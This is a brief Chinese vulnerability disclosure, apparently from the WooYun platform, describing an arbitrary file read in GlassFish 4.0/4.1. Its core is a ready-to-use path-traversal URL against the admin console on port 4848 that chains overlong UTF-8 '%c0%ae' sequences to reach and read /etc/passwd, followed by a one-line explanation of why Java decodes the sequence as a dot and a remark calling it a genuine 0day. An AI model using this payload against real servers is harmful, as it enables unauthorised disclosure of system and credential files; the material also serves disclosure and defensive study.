glassfish任意文件读取漏洞(4.0/4.1)

相关厂商：glassfish

漏洞编号：wooyun-2010-0144595

漏洞详情：

http://localhost:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

java语音中会把"%c0%ae"解析为"\uC0AE"，最后转义为ASCCII字符的"."（点）。

简简单单几句话详述了漏洞内容，而且这是一枚真真正正的0day漏洞，并且更有趣的是这个漏洞的提交者同样是一个真真正正的路人甲。